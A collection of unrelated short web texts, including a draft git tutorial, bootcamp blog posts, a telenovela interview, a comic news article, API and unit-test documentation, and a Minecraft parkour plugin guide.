pittsburgh
$ git init
or
$ git clone https://github.com/SomeProject
a .git
folder is created
a master
branch is created
Can I change my mind about adding git to a folder?
Yes! Just delete the .git
folder. You'll keep all the other files in your project folder, but remember nothing will be tracked (under version control).
3 main parts to every git project:
What's the difference?
INSERT IMAGE
$ git add README.md
$ git commit -m "Your Commit Message"
What's really happening with these commands?
INSERT IMAGE & show transitions
File "snapshots" stored as "hashes"
What is a hash?
Hashes are an important way to reference changes in your repo
$ git checkout -b [NEW_BRANCH_NAME]
What's really happening with this command?
INSERT IMAGE of git log & show addition of HEAD pointer
| git add |
| git commit |
| git checkout |
How can I tell git to not track certain files
show .gitignore
What if I accidentally added too many files to staging?
$ git reset HEAD [file]
What is this command really doing?

No problem, we can always reset git to a previous state
How far back do you want to go?
$ git reflog
$ git reset --hard
$ git log
or
$ git log --oneline --decorate
INSERT IMAGE showing hash numbers, as well as HEAD and branch name
$ gitg
or
$ gitk
Other common things you might do with branches
$ git branch -m [new_branch_name]
or
$ git branch -d [branch_name]
I accidentally deleted a branch - how do I get it back?
If you just deleted it
$ git checkout -b [branch_name] [hash]
If it's been awhile look at the log first
$ git reflog
$ git checkout -b [branch_name] [hash]
I started making changes on master, but now I want to move things to a new branch
$ git branch [new_branch]
git reset --hard HEAD~3
git checkout [new_branch]
I want to add a commit from my branch to the master branch
$ git checkout master
$ git cherry-pick [branch]~3
| git add |
| git commit |
| git checkout (git checkout -b) |
| git push |
$ git push origin master
What's really happening with this commands?
origin = points to a remote site INSERT IMAGE of .git/config file
master = name of branch you want to sync
Team of 3: Alice, Mary, and Paula
Alice & Mary: add features, Paula: maintains repo/project
What scenarios might Alice encounter?
Alice may want to:
$ git cherrypick
Alice may want to combine smaller commits in a single bigger commit
$ git log
$ git rebase -i [hash]
INSERT image with pick/squash options
Alice may want to remove a commit from her branch
$ git log
$ git rebase -i [hash]
INSERT image with a row deleted
Team of 3: Alice, Mary, and Paula
Alice & Mary: add features, Paula: maintains repo/project
What scenarios might Paula encounter?
Paula might have been in the middle of working on the master branch and wants to save the files she's working on before she starts working on merging Alice's changes
$ git stash
$ git stash pop
$ git stash list
$ git stash save
$ git stash drop stash@{1}
$ git stash clear
$ git merge
Git tries very hard to automatically merge files but sometimes there are conflicts that it doesn't know how to resolve
Git marks each conflict, which can be manually edited
INSERT IMAGE
Often easier to do this using a GUI
$ git mergetool
3-way merging: LOCAL, REMOTE, BASE, what do these mean?
INSERT IMAGE of tool (meld?) and show GUI example
Team of 3: Alice, Mary, and Paula
Alice & Mary: add features, Paula: maintains repo/project
What scenarios might Mary encounter?
Mary should routinely make sure she's working off the latest version of the project
$ git rebase master
difference between rebase and merge
what is rebasing really doing?
deal with it similar to merge conflicts
$ git push -f
| git add | git status | git rebase |
| git commit | git stash | git merge |
| git checkout (-b) | git log | git reset |
| git push | git branch |
we've covered most of these!


My name is Diamond Williams. I am a aspiring Software Engineer and World changer. I am Graduate from the University of Pennsylvania's Full Stack Development BootCamp and currently pursuing my Bachelors of Science in Software Engineering.
My hope is to inspire young black and brown girls to explore the world of Tech, in hopes that they can see a world of possibilities for themselves and others with computer technology.
I am confident with the skills I am learning an will continue to learn order I can become a integral part of the growth and success of an amazing company. I am a driven, self-motivated, problem solver with the desire to change the world through technology.


Improv for All!
Take a moment, if you will, to imagine the following scenario.
You walk into a room - concrete floors, white walls, modern looking chairs and desks. Surrounding you are 23 mostly 20-something individuals. You know that you’ve all been selected, or chosen, or hired, or picked - everyone is in the room for a reason.
What’s your first reaction? Would you be yourself from the first second? Or would you pull back a little, keep things contained and professional rather than genuine?
It happens all the time in classrooms across the country.  Eventually they learn about each other - who is fast, who is hilarious, and who _____. But learning is an exercise practiced by individuals - not an activity performed as a team.
Surprising fact: The first day at Hungry Academy, none of us touched the command line. No one opened up a text editor or tried to understand the basics of Ruby. Our first day was all about Improv.
Improv is about being comfortable in a group. It’s about letting that genuine, wacky, creative person show through a little. And the magic of a team comes when it’s members are comfortable enough to let the wacky come through.
Leading us in our improv journey was Jessie Sternshus, founder of The Improv Effect. In less than 48 hours, she took a group of friendly strangers and created a team. People who know each others’ names, but more importantly know each others’ personalities. We know that certain people are killer at organizing things or people. We know who in a group setting is more likely to aggressively start throwing out ideas and who is more comfortable letting the ideas flow for a while and then adding some really great concepts when things quiet down.
Most importantly, we learned that it is OK to fail so long as you learn from the failure. We learned that inside our Hungry Academy team, people won’t snicker or judge if we say something nonsensical. That the words “I don’t understand” won’t mark us as unitelligent or bad students or strange people. After all, after you’ve passed sounds and movements around a circle in a full-body version of Telephone it’s pretty clear that we’re all a little strange. And that’s not a bad thing.


Having the Potential to be a Rockstar
23 Oct 2014Rockstar Potential Interview - with Brandon Atkinson
On Tuesday October 21, 2014, I attended a presentation which I would describe as incredibly wise and thought provoking. Brandon Atkinson from Global Services AppNexus delivered an amazing talk titled Rock Star Potential Interview Training. I was curious but wondered if this event would be worth my time. I'm not an interviewer and I'm going to be the victim of being interviewed in the next few months. I have the difficult challenge of keeping my head held high while I persevere through interviews. I was very close to going back to my Krash pad and working on my portfolio. But I'm glad I attended Brandon's presentation and here is why.
Brandon Atkinson shared his experiences and knowledge about interviewing throughout the entire night. He explained to us how he enjoyed taking nothing but potential and turning it into something powerful. To hear a person who has hired well over a thousand people to say such a statement is incredible. During his presentation, I listened closely to someone who wanted to hire people for the right reasons. Brandon loves building. His hiring process seems intense but it makes sense to me. He seeks to find the greatest qualities in people which he describes as analytical horsepower and Rock Star Potential. It doesn't matter what role you are applying for because these two qualities will take you farther than you can imagine. Brandon is this type of person who can imagine that place and create a stepping stone for your career. He will eventually ask each candidate about their specific technical skills and values but that comes later in his process. They are important but not as much as this concept of potential.
Brandon explained to us how interviewers are the guardians of alchemy. They are in charge of mixing together the right employees to create something magical. Bringing together the right employees with high potential seems like an easy agenda item to accomplish in a business. I would have told you before Brandon's speech that I thought hiring was easy too. But the more I listened, the more I started to understand how difficult it can be for the interviewer. I still believe interviewing for a company is just as difficult. Yet, I never had an interviewer ask me the types of questions Brandon wanted to ask. He explained how skills can be learned but intrinsic motivation was difficult to change. Brandon has learned how to ask the right questions that make him understand who you are. I would describe him as a human lie detector but it's more than just finding the truth. He is just trying to discover genuine, authentic, and passionate people.
One of the best example questions I heard from the night was "Can you tell me about a time when your emotions got the best of you?" When Brandon feels the answer was too premeditated and too rehearsed, he asks for another example in order to catch you in an awkward, uncomfortable place. There is a reason for all his methods and it has to deal with understanding people. Brandon wants to know your DNA and the force which drives your motivation. He wants to know if we can learn from our mistakes, are passionate about learning, and if we have deep commitments which we strive to finish. Brandon explained how some of these people you never would have hired on paper which is mind blowing to hear. I was definitely inspired to hear his energy, commitment, and belief of his concept of Rock Star Potential.
Now I have been talking about Rock Star Potential throughout my blog for a reason. If I had to sum it up in a few words, I'd like to think of it as our internal drive to overcome adversity, to never give up, to aim high, and to not be afraid to take on challenges. It is the type of person who wants to constantly learn. Brandon's last lesson was his approach for getting to know someone you are interviewing called Squeeze the Tomato. He wants to get underneath the surface of people so he writes down notes during the whole process. Odd word choice, apparent rises in anxiety levels, or just an unclear comment are few of the many examples. But when he finds a soft spot on that tomato he sticks his finger in it! I have to admit that makes me nervous for the next time I'm being interviewed. I asked Brandon for some advice for people about to be interviewed at the end of his speech. He replied with being prepared, researching the company you are applying to, being authentic, and to ask for the transparency technique at the end so you can have a chance to reinforce who you are as a potential employee. I enjoyed attending this event. Even though I'm not an interviewer, I learned they have a challenging job as well. This will definitely help me become more prepared and relaxed during my interviewing process.


SweetFreeStuff.com
///////////////////////////////////////////
Free Weber Kickn Chicken Seasoning Mix from Marlboro 12pm ET Daily
Posted: 04 Nov 2013 10:09 AM PST
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/tLAOmv7sZlk/?utm_source=feedburner&utm_medium=email
The first 1,600 people to sign up each day at Noon ET until December 31st
will receive a Free Weber Kick’n Chicken Seasoning Mix.
The post Free Weber Kick’n Chicken Seasoning Mix from Marlboro 12pm ET
Daily appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Coffee at Bruggers Bagels November 7th
Posted: 04 Nov 2013 09:57 AM PST
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/YaF7pZU0XPk/?utm_source=feedburner&utm_medium=email
Visit Brueggers Bagels on November 7th before 2pm and receive a free coffee.
The post Free Coffee at Bruggers Bagels November 7th appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Sample of Sheba Premium Cat Food
Posted: 04 Nov 2013 01:40 AM PST
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/bX27DNmiFS0/?utm_source=feedburner&utm_medium=email
Copy Paste this link: http://www.startsampling.com/sm/Sheba102813
The post Free Sample of Sheba Premium Cat Food appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Redbox DVD Rental
Posted: 04 Nov 2013 12:34 AM PST
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/BDa33y5oAWc/?utm_source=feedburner&utm_medium=email
Free, one-night DVD rental with code 5899JJMN at a Redbox Kiosk. Valid
today, 11/4, only.
The post Free Redbox DVD Rental appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Natural Style by Fubu Haircare Samples (Expired)
Posted: 03 Nov 2013 12:04 AM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/Fpdw4NHtYnQ/?utm_source=feedburner&utm_medium=email
Free Natural Style by Fubu Haircare Samples
The post Free Natural Style by Fubu Haircare Samples (Expired) appeared
first on SweetFreeStuff.com.


BSc Computer Science
University of Portsmouth Portsmouth, UKDuring my time at university I was chosen as the degree course representative for the full duration.
During my time at university I was chosen as the degree course representative for the full duration.


Who is the mysterious new stranger in Arendsvlei? We find out!
Cape Town – On Wednesday an enigmatic new character made her appearance on Arendsvlei.
Just who is the woman in the park who was whispering to herself and watching Daniel (Cantona James) with an eagle's eye?
In season two of the popular kykNET & Kie (DStv 144) telenovela Quanita Adams - who was part of the writing team of season one - moves from behind the scenes to onscreen.
The series is centered on a Cape Flats high school and comes front loaded with drama as teachers and pupils confront issues ranging from depression and addiction to murder, revenge and teen pregnancy.
With her character's mysterious debut on the show, we needed to find out more about Laetitia.
In this Q&A the Sara se Gehiem actress she tells us more about her character, her connection with Daniel, and why this storyline is important.
You started as a writer on the show, and now you're onscreen talent. Did it feel like a natural transition for you?
Yes, very natural. I've been a part of this story since the beginning. So, when then the opportunity came around, I was thrilled. I loved that even though they are in the world, they exist a bit in their own bubble. To be honest, I would try to write myself into every part! I even put myself up for Hamilton [Kevin Smith]. (Laughs). When I was offered Laetitia, it was such an honour. She is perfect. I love her.
When and how did the idea of your character, Laetitia, come about in the writer's room?
The process is very organic. The team of writers are incredible, and every week they get together and thrash ideas out. I was in constant awe of the talent. If I can take a moment to celebrate what it means to have a head writer that comes from this community. We are writing ourselves. Our own stories, in our voice. That is the biggest thing. The idea of Laetitia and Daniel emerged from needing new and exciting stories going into the new season. To be able to tell a new kind of story is something we pride ourselves on. And it's very relevant.
You said that this character reminded you of the role Lena which you played before. Can you elaborate more in what way?
Years ago, I was privileged to perform in Athol Fugard's Boesman & Lena. Lena is a homeless woman who has endured many hardships and challenges. Life on the streets has shaped her. I immediately saw such strong similarities that it helped me to find Laetitia. Ultimately, they are different; their circumstances are different. But it helps that I have performed this kind of role before, albeit in theatre. The challenge has been the most rewarding, and I am grateful to the team for trusting me with this woman.
Without giving away a bit too much, can you reveal a bit more about Leatitia and Daniel's storyline?
Laetitia found Daniel when she was wandering around, looking for her next location. Daniel found it odd at first, but they grow closer together as time goes on. Laetitia becomes like the mother Daniel never had, and their relationship is just beautiful. Laetitia is overprotective of Daniel and teaches him how to be a better human. And in turn, Daniel reminds her of her own son that she lost.
How do you feel this storyline with shed light on the plight of homelessness?
It's made me consider things differently. So often we hand over some coins (sometimes begrudgingly) and then that's it. We don't spare a thought to what goes on beyond that. And for women in particular, who have specific needs around health and hygiene. I honestly hope this makes people consider this plight for longer than the time it takes to hand over your litter in your car, or rifle through your pockets for coins. Mental illness and mental health are also dealt with in these characters. I want the audience to consider that often, we don't know the journey people have taken. To be grateful for what we have, it could be taken away in an instant. And to be kind. Just be kind.
WATCH A TEASER HERE:
Tune in to Arendsvlei Monday – Wednesday at 20:00 on kykNET & Kie (DStv 144).
Compiled by Leandra Engelbrecht.
(Photos supplied: Penguin Films)


This blog is a personal blog written and edited by me. For questions about this blog, please contact clarissa (at) theviewfromhere
(dot) is
This blog accepts forms of cash advertising, sponsorship, paid insertions or other forms of compensation.
The compensation received will never influence the content, topics or posts made in this blog. All advertising
is in the form of advertisements generated by a third party ad network. Those advertisements will be identified as
paid advertisements.
The owner(s) of this blog is compensated to provide opinion on products, services, websites and various other
topics. Even though the owner(s) of this blog receives compensation for our posts or advertisements, we always give
our honest opinions, findings, beliefs, or experiences on those topics or products. The views and opinions expressed
on this blog are purely the bloggers' own. Any product claim, statistic, quote or other representation about a product
or service should be verified with the manufacturer, provider or party in question.
This blog does not contain any content which might present a conflict of interest.
The owner of this blog does not share personal information with third-parties nor does The View From Here store information that is collected about your visit for use other than to analyze content performance through the use of cookies, which you can turn off at anytime by modifying your Internet browser’s settings. The owner is not responsible for the republishing of the content found on this blog on other Web sites or media without permission.
Blog Comments Policy
The owner of this blog reserves the right to edit or delete any comments submitted to this blog without notice due to the following:
- Comments deemed to be spam or questionable spam
- Comments including profanity
- Comments containing language or concepts that could be deemed offensive
- Comments that attack a person individually
This privacy policy statement may change in the future with or without notice.
All content provided on this blog is for informational purposes only. The owner of this blog makes no representations as to the accuracy or completeness of any information on this site or found by following any link on this site. The owner will not be liable for any errors or omissions in this information nor for the availability of this information. The owner will not be liable for any losses, injuries, or damages from the display or use of this information.
These terms and conditions of use are subject to change at any time and without notice.


Favourite Things
Do You Like Identifying Your “Favorite?”
Here are the 3 Favourite Things!
X
Display Name


Do you _really_ want to delete this node?
Warning! Permanent Deletion!
Wait! I'd like to keep it a bit longer! But thanks for asking!


{{ctrl.message}}
Operation Id
This is a required field
HTTPVERB
{{ctrl.mockRequest.method}}
REST URL:
{{ctrl.mockRequest.url}}
Select HTTP Status
This is a required field
Query/Path Params
{{mockKeyValue.key}}
Mock Request Body
Enter your Request Body
Type: {{ctrl.mockRequest.inputObjectType}}
Mock Response
Enter your Expected response
Type: {{ctrl.mockRequest.outputObjectType}}
This is a required field
Exclude List
**Exclude parameters in comma separated value which would not required to be considered. Example: createDate,receiveDate**
Reset Form
Default panel contents
List of Mock Response
ID.
HttpStatusCode
Path/QueryParam
OperationId
Input
Output
ExcludeList
{{mockKeyValue.key}} = {{mockRequest.availableParams[$index].value}}
Remove


--- layout: post title: Drawing — Construction Lines date: '2015-05-24T19:30:25+02:00' categories: - Sketches picture_url: https://film-Storyboards.tumblr.com/post/119806735769/drawing-construction-lines ---
construction lines… I (almost) never use them. Is it bad?


You should checkout Ruby!
Ruby is an interpreted, high-level, general-purpose programming language. It was designed and developed in the mid-1990s by Yukihiro "Matz" Matsumoto in Japan.
Ruby is dynamically typed and uses garbage collection. It supports multiple programming paradigms, including procedural, obect-oriented, and functional programming. According to the creator, Ruby was influenced by Pearl, Smalltalk, Eiffel, Ada, Basic, and Lisp.
You should checkout C#!
C# (pronounced see sharp, like the musical not C#, but written with the number sign) is a general-purpose, multi-paradigm programming language encompassing strong typing, lexically scoped, imperative, declarative, functional, generic, object-oriented programming disciplines. It was developed around 2000 by Microsoft as a part of its .NET initiative and later approved as an international standard by Ecma (ECMA-334) in 2002 and ISO (ISO/IEC 23270) in 2003. Mono is the name of the free and open-source project to develop a compiler and runtime for the language. C# is one of the programming languages disigned for the Common Language Infrastructure (CLI).
C# was designed by Anders Hejlsberg, and its development team is currently led by Mads Torgersen. The most recent version is 8.0, which was released in 2019 alongside Visual Studio 2019 version 16.3.
You should checkout Python!
Python is an interpreted, high-level, general-purpose programming language. Created by Guido van Rossum and first released in 1991, Python's design philosophy emphasizes code readability with its notable use of significant whitespace. Its language constructs and object-oriented approach aim to help programmers write clear, logical code for small and large-scale projects.
Python is dynamically typed and garbage-collected. It supports multiple programming paradigms, including structured (particularly, procedural), object-oriented, and functional programming. Python is often described as a "batteries included" language due to its comprehensive standard library


gs_quant.markets.HistoricalPricingContext¶
-
class
HistoricalPricingContext
(start=None, end=None, calendars=(), dates=None, is_async=False, is_batch=False)[source]¶ A context for producing valuations over multiple dates
-
__init__
(start=None, end=None, calendars=(), dates=None, is_async=False, is_batch=False)[source]¶ A context for producing valuations over multiple dates
- Parameters
start (
Union
[int
,date
,None
]) – start dateend (
Union
[int
,date
,None
]) – end date (defaults to today)calendars (
Union
[str
,Tuple
]) – holiday calendarsdates (
Optional
[Iterable
[date
]]) – a custom iterable of datesis_async (
bool
) – return immediately (True) or wait for results (False). Defaults to Falseis_batch (
bool
) – use for calculations expected to run longer than 3 mins, to avoid timeouts. It can be used
with is_aync=True|False
Examples
>>> from gs_quant.instrument import IRSwap >>> >>> ir_swap = IRSwap('Pay', '10y', 'DKK') >>> with HistoricalPricingContext(10): >>> price_f = ir_swap.price() >>> >>> price_series = price_f.result()
Methods
__init__
([start, end, calendars, dates, …])A context for producing valuations over multiple dates
calc
(priceable, risk_measure)Calculate the risk measure for the priceable instrument.
has_default
()- rtype
bool
resolve_fields
(priceable, in_place)Resolve fields on the priceable which were not supplied.
Attributes
market_data_as_of
Market data as of
market_data_location
Market data location
pricing_date
Pricing date
-


Dev Bootcamp
Restaurant vs Kitchen Mindset
January 17, 2015
Hello! So my name is Arturo Perez and I'm just starting out on my Web Developer Career thanks to a GREAT program out based off San Francisco,CA called Dev Bootcamp! So far my impression of DBC is that if you truly like to code it's gonna be a FUN experience! This program seems pretty fast paced and it is a lot of information but what I love is i have all the help in the world, and not just from instructors. New students and alumnis jump in to help as well and so far, even though it's only been a week in, it's been a great experience and I can only imagine how much better it's gonna be.
So in this blog I want to approach two different mindset's you can have in DBC. First, there is the Restaurant Mindset. With this mindset you would look at DBC like something you specifically paid for and have a set expectation, like ordering food at a restaurant. If DBC were a restaurant, the menu would be like learning different types of code. So since you paid you expect your food to be at a certain quality and taste. So students coming in can have that mindset and be visioning that they are going to come in and leave knowing code to the best of their ability. It's a confident mindset.
And now theres a kitchen mindset. A kitchen mindset is basically looked as working together to achieve the same goal. So looking back into the restauraunt example this isn't the consumer's point of view its the back end. Picture some chefs, or students in this example, in the kitchen that might know more recipes, or code than others. And others could be barely starting off. Like if it's their first day working, or someone who is new to coding. But what makes this mindset so effective is that everyone is working together to achieve the same goal.
They both have great qualities to their mindset but no matter what, I feel it's important to look at each mindset and remember sometimes you won't get exactly what you ordered. Or sometimes you're just having a bad day at work. But what's important as long as you can get pas those days and fight through it, you can find success.


---
layout: layouts/base.html
title: Swiper
order: 70
tags:
- menu
---
Swiper
{% include components/swiper.html, pagination: 'swiper-pagination-one', swiper: '{"pagination":{"el":".swiper-pagination-one","type":"bullets","clickable":true}}' %}
{% include components/swiper.html, scrollbar: 'swiper-scrollbar-two', swiper: '{"scrollbar":{"el":".swiper-scrollbar-two","draggable":true}}' %}
{% include components/swiper.html, swiper: '{"loop":true,"slidesPerView":1,"spaceBetween":10,"breakpoints":{"768":{"slidesPerView":2,"spaceBetween":30},"1024":{"slidesPerView":4,"spaceBetween":40}}}' %}
{% include components/swiper.html, swiper: '{"loop":true,"spaceBetween":8,"slidesPerView":2}' %}
{% include components/swiper.html, swiper: '{"loop":false,"spaceBetween":8}' %}
{% include components/swiper.html %}


Carnage's Most Powerful Host Is... a House Cat?
by Brenton StewartWarning: The following contains spoilers for Absolute Carnage: Captain Marvel #1 by Emily Ryan Lerner and Andrea Broccardo, available now.
As Absolute Carnage hurtles towards its conclusion, the symbiote villain's crimson tendrils keep spreading from one hero's story to another's. Most recently, the threat of the now god-like Carnage came to the doorstep of Carol "Captain Marvel" Danvers and claimed a crucial member of her supporting cast: her cat Chewie.
While Chewie has been increasingly bigger part of Captain Marvel's world since the hero's Marvel Cinematic Universe debut last year, Carol's "cat" is not actually a cat. Much like the MCU's Goose, Chewie is really an alien with fangs and tentacles nested within one another that sprout out of her mouth like a Cthulu monstrosity. At the very center of the alien is her very own pocket dimension, which means there's seldom any returning from the fang-filled mouths once they gobble you up.
Click the button below to start this article in quick view.
While Carol thought Chewie was just a normal cat at first, she eventually discovered that sheis actually an alien called a Flerken, a rare species that's feared throughout the galaxy. She may be a cute put that Carol tenderly takes care of, but she knows just how deadly he can be if one of her nine lives is threatened.
Unfortunately, Carol has to deal with a symbiote-infected Chewie in Absolute Carnage: Captain Marvel #1. In his quest to collect the genetic codices imprinted in the spines of all former symbiote hosts, Carnage spied on Carol and those around her for weeks before making his move. Carol previously became a host for the Venom symbiote in Siege: Spider-Man, which put her squarely in Carnage's sights. Knowing that Carol was too powerful to go for directly, and that she has displayed immunity to symbiotes in the past, Carnage instead targeted Chewie.
Surprised to find her house cat turned into a deadly monster upon her arrival home, Carol immediately entered combat with one of the most fearsome species in the galaxy now inhabited by another deadly alien. What's worse, Carnage played up on Carol's concern for her cat throughout the fight, knowing that if she did not pull her punches she would injure one of her dearest companions.
After she was and plunged into Chewie's stomach pocket-dimension , Captain Marvel wrestled with the symbiote before releasing an outburst of power. She managed to escape, separate the symbiote from her cat, and fly off into space.
When the symbiote tried to take over Captain Marvel, she let out a burst of Binary energy that tore it apart in Earth's upper atmosphere. After that, Carol promptly jumped back into the fray against the symbiotes on Earth. However, she made sure that Chewie sat out the rest of this adventure and left her in the care of Spider-Woman.
https://schema.orgBreadcrumbListListItem1Homehttps://www.cbr.com/ListItem2Comicshttps://www.cbr.com/category/comics/ListItem3Comic Newshttps://www.cbr.com/category/comics/news/ListItem4Carnage's Most Powerful Host Is... a House Cat?https://www.cbr.com/carnages-most-powerful-host-is-a-house-cat/


[dscrdvrsc] <miketout> @Godballz we've got some time to go before that is likely, while we work on PBaaS. Komodo has their own timelines and priorities. At some point, I would expect jl777 and I to coordinate to get VerusHash 2.0 into Komodo because people will want it. Talking about that, or speculating on when it might be probably won't help anyone, as right now, it is in Verus. There is no specific timeframe or energy going towards doing that now, and it will be a meaningful amount of work for someone whenever that time comes.
@dude as with all cryptocurrencies, a primary use case is money, and the level of network security and resistance to various forms of attack that Verus is demonstrating right now shows why people should use very secure networks like Verus over other, maybe even larger coins based on older technologies that haven't been upgraded with solutions to their well known weaknesses. We prefer to talk about how it works today, while we work on, but don't hype or sell the future. Right now, Verus has many use cases, starting with one of the most secure cryptocurrencies for money to private / permanent / notarized messaging, to every BTC and Zcash use case with arguably much more advanced security, and as such provides a better, more secure, more private cryptocurrency than most all of the projects out there.
As far as use cases that we envision for the future, that is PBaaS, including the advance of public provisioning that it will bring, the new profit potential for stakers, miners, and service providers, as well as applications, such as identity and voting that it will first enable, which we believe will be only a couple important ones among many, geo-scalable blockchain applications.


Part 2 - Creating a course
Design the course
Firstly, design and build your course and decide where you want your checkpoints to be.
If it helps, we can place different blocks to mark where we want the checkpoints to be, we can remove these later.
Create the Course
Decide where you want the course to start, stand in the position and face the direction you want the players to teleport to.
The position you are facing will be loaded when the players teleport to the course.
When you are happy, enter /pa create (course).
We will refer to our course as 'tutorial'. The course name is how we will refer to our course throughout the plugin, so remember it for now.
If everything was successful, the following message will appear.
This will create a course entry in the database, allowing us to now track times against it.
You will notice that 'selected' is referred to often, this means that you are editing the course. This can be manually achieved by entering /pa select (course) this means you can execute commands without having to specify the course, for example the following /pa checkpoint command does not require you to specify a course.
Create Checkpoints
We can now stand where we want our first checkpoint to be, stand in the position and face the direction you want the players to teleport to and enter /pa checkpoint.
This will place a pressure plate to activate the checkpoint.
There is no limit to how many checkpoints you can create, they are automatically generated when you enter /pa checkpoint. The checkpoint is generated for the course you have selected (editing). This is achieved when you create a course, or you can select it manually by typing /pa select (course).
Now you've learnt how to create a single checkpoint, now repeat the command to create as many checkpoints as you want for the course!
If you happen to make a mistake, or want to move a checkpoint, you can use the same command but with an optional number to overwrite that existing checkpoint. For example /pa checkpoint 2 would overwrite the second checkpoint.
Finish the Course
We need a "Finish Block" to allow the player to complete the course once they walk over it, because of the new ParkourKit system this can be different for each course. But for now we can set it to the default Finish Block, and you could change it later. Simply enter /pa kit to populate your inventory with each item of the default ParkourKit, then find the Material named "Finish Block", and simply place these materials where you want the finish area to be.
For more information on ParkourKits, click here.
Once we're happy we've created all the checkpoints for the course, it's time to set the status of the course to "finished", so other players can join it. To mark the course as complete, enter /pa finish (course).
By default, players can not join a course that has not been set to finished (so they don't join a half-finished course), this can be disabled by changing "OnJoin.EnforceFinished" to false in the config.yml.
You can enter /pa done to stop editing the course.
As simple as that! Now you've got a course setup, which can be joined by other players and track statistics and leaderboards. Try it yourself by joining it /pa join (course).
Extra Information
Test Mode
You are able to simulate how each ParkourKit will behave by entering a simple command, just enable Test Mode with /pa test (Kit name).
Please note that this doesn't do anything besides allow you to interact with the Kit and its corresponding actions. If you "die" while in Test Mode, it will take you back to the location you started Test Mode.
To disable Test Mode, reenter /pa test.
Overwriting the Creator of a course
If you want to overwrite the creator of a course to a different player, you can enter /pa setcreator (course) (player) this will now allow the chosen player to have administration permissions for that course.
The creator of a course has exclusive permissions to be able to edit that course.
Overwriting the Start of a course
If you want to change the starting position of a course, you can enter /pa setstart.
Remember that you must have the course selected (editing), which can be achieved by entering /pa select (course).
Teleporting to a course
If you want to teleport to the start of a course, you can enter /pa tp (course). This will only teleport you, exactly as you are, without starting the course.
If you wish to teleport to a specific checkpoint in the course you can enter /pa tpc (course) (checkpoint).


|
Basic implementation of D* Lite
1.0
Path finding algorithm for a grid based on D* Lite algorithm
|
Unit tests for the path planner project. More...
#include <gtest/gtest.h>
#include <utility>
#include <iostream>
#include <vector>
#include "../include/Node.h"
#include "../app/Node.cpp"
#include "../include/Grid.h"
#include "../app/Grid.cpp"
#include "../include/DstarLite.h"
#include "../app/DstarLite.cpp"
Functions | |
| TEST (NodeTest, NotNegative) | |
| Checks if the coordinates of Node are not negative. | |
| TEST (NodeKeyTest, NotNegative) | |
| Checks if the key values of the Node are not negative. | |
| TEST (NodeEqualTest, Equal) | |
| Checks if the operator overloading of +,== work. | |
| TEST (NodeDefaultTest, True) | |
| checks if the node default constructor initializes _x,_y as 0 | |
| TEST (NodeConstructorTest, Equal) | |
| checks the constructor taking Node objects functionality | |
| TEST (NodeKeyTest, True) | |
| checks the setkey and getkey methods | |
| TEST (NodeKeyCompare, LessThan) | |
| checks if the key value is less than second key value | |
| TEST (NodeKeyCompare, True) | |
| checks if the key value is less than second key value | |
| TEST (NodeKeyCompare, False) | |
| checks if the key value is less than second key value | |
| TEST (NodeNotEqualTest, NotEqual) | |
| Checks if the operator overloading of +,!= work. | |
| TEST (ObstacleCheck, InObstacle) | |
| Checks if the Node is in the obstacle. Checks the obstacle method. | |
| TEST (NodeValid, Valid) | |
| Checks if the Node is valid. Checks the isValid function. | |
| TEST (HeuristicValue, Equal) | |
| Checks if the value returned by the heuristic function is equal to the known value. Checks the heuristic function. | |
| TEST (PriorityQMinTest, MinElementEqual) | |
| Checks if the priority queue sorts the Nodes based on the key values, is equal to the known Node with lowest key values. Checks if the comparator of PriorityQ works. | |
| TEST (PriorityQFindElementTest, ElementNotFound) | |
| Checks if the priority queue contains the removed Node. Checks the remove and find methods of the PriorityQ. | |
| TEST (ComparatorTest, False) | |
| checks the struct compare | |
| TEST (ComparatorTest, True) | |
| checks the struct compare | |
| TEST (ComparatorTest, AlsoFalse) | |
| checks the struct compare | |
| TEST (PriorityQRemoveElementTest, False) | |
| Checks if the priority queue contains the removed Node. | |
| TEST (OstreamTest, True) | |
| checks operator << overload | |
| TEST (InitializeTest, Equal) | |
| checks if initialize method works by checking if the goal rhs is set to 0 | |
| TEST (NeighbourTest, Equal) | |
| checks the functionality of the neighbour method by checking if all the 8 neighbours are returned | |
| TEST (CalculateKeyTest, LessThan) | |
| checks the functionality of calculate key by comparing the key values | |
| TEST (ScanTest, NotEqual) | |
| checks the functionality of Scan methods by checking the vector size returned is greater than 8 the node's actual neighbours | |
| TEST (ComputePathTest, Notequal) | |
| checks if the compute path and updateVertex methods work by checking the initial rhs value of the last node and its new value after running the functions | |
Unit tests for the path planner project.
This file contains implementation of unit tests for this project


Button height:
small
standard
Button size:
-
matchparent
Button text size:
-
large
Button theme:
dark
light
Library
JavaScript
React
Angular
Web components
More information at
github
.


In Video: BizAsia talks to Monty Panesar at AVTA 2019
by Raj BaddhanAs a part of BizAsia’s extensive coverage of the sixth annual Asian Viewers Television Awards (AVTA 2019), we bring readers exclusive interviews with the celebrities that attended.
Cricketer Monty Panesar attended AVTA 2019 as a special guest, where he spoke to Raj Baddhan about his new media work, including his weekly show on Panjab Radio and newly released book.
AVTA 2019 is the only event to celebrate success on UK Asian television.
As well as sponsoring AVTA 2019, BizAsiaLive.com is also the exclusive digital partner of the event for the sixth year running.
Watch now: BizAsia talks to Monty Panesar at AVTA 2019


The Smart Butler project aims to create a system able to substitute a human butler in a domestic environment!
It will help users to manage their daily routine,
relieving customers from boring tasks and letting people enjoy life with more energy!
Based on vocal commands and users’ agenda,
Alfred will be able to recognize the activities that users are going to performe, thanks to a transparent network of sensors.
It has different kinds of funcionalities: mail notification, agenda and events notification, music settings, environment settings and regulations,
time settings and alarm, cooking recipe dictation and news reading.
It also has built-in functionalities such as cooking mode and training mode. With those two functions, Alfred is able
to run more than one simple functionality together, making users as comfortable as possible to performe their tasks (setting lighting and environment according to their liking,
turning the music on or helping users to get fit with proper trainings, etc.).
Alfred will always be present, ready to help users whenever their need it, making their life simpler and easier,
simply by calling it by name, "Alfred"!
The project has been developed in Phyton, with the help of some open source libraries.
Pocketsphinx performs speech recognition via Python bindings to the CMUSphinx engine.
Alfred’s voice is owned by the popular TTS program,eSpeack.
Phonetisaurus and
